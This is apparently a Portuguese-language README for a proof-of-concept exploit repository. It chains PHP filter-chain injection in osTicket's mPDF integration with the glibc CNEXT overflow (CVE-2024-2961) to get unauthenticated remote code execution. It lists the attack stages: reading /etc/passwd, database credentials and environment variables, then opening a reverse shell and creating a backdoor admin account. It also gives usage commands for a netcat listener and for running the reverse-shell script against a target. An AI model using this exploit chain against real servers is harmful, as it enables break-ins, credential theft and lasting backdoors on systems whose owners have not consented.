Exploit completo em cadeia combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para Execução Remota de Código não autenticada em instalações vulneráveis do osTicket.
Exploração de cadeia completa combinando injeção de cadeia de filtros PHP com CVE-2024-2961 (CNEXT) para execução remota de código não autenticada em instalações vulneráveis do osTicket.
Este repositório contém uma prova de conceito de exploração para CVE-2026-22200, uma vulnerabilidade crítica que afeta versões do osTicket ≤ 1.18.2. A exploração combina duas técnicas poderosas:
O resultado: Execução Remota de Código não autenticada em servidores osTicket vulneráveis.
Pontuação CVSS: 9,8 (Crítico)
A integração do mPDF no osTicket permite que usuários não autenticados injetem cadeias de filtros PHP maliciosas por meio de payloads HTML especialmente criados em tickets de suporte. Isso possibilita:
Causa Raiz: Validação insuficiente de URLs de imagens em HTML fornecido pelo usuário antes de passar para o mPDF.
Pontuação CVSS: 9,8 (Crítico)
Estouro de buffer na iconv() da glibc ao processar o conjunto de caracteres ISO-2022-CN-EXT. Combinado com cadeias de filtros PHP, permite:
Versões vulneráveis da glibc: < 2.39 (Fevereiro de 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONHECIMENTO │
│ └─ Detectar osTicket, identificar tópicos rich-text │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICAÇÃO │
│ └─ Auto-registro OU uso de credenciais existentes │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRAÇÃO DE ARQUIVOS (Cadeias de Filtros PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (credenciais BD, SECRET_SALT) │
│ ├─ /proc/self/maps (layout de memória) │
│ └─ /proc/self/environ (variáveis de ambiente) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. FINGERPRINT DA LIBC │
│ ├─ Extrair libc parcial via cadeias de filtros │
│ ├─ Extrair GNU Build ID │
│ └─ Baixar libc completa de libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLORAÇÃO CNEXT RCE │
│ ├─ Gerar payload de corrupção de heap │
│ ├─ Injetar via resposta de ticket (com correções de execução │
│ de filtros) │
│ ├─ Acionar via exportação PDF (servidor trava) │
│ └─ Executar reverse shell │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. PÓS-EXPLORAÇÃO │
│ ├─ Reverse shell interativo │
│ ├─ Acesso ao banco de dados (usando DBPASS exfiltrado) │
│ └─ Criar conta admin backdoor │
└─────────────────────────────────────────────────────────────────┘
# Clone o repositório
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Instale os pacotes necessários
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# OU
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Executar exploit
python3 osticket_revshell.py https://alvo.com/osticket \
--lhost SEU_IP \
--lport 4444
python3 osticket_exploit.py https://alvo.com/osticket
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://alvo.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forçar ID específico de tópico de ajuda
python3 osticket_exploit.py https://alvo.com/osticket \
--topic-id 2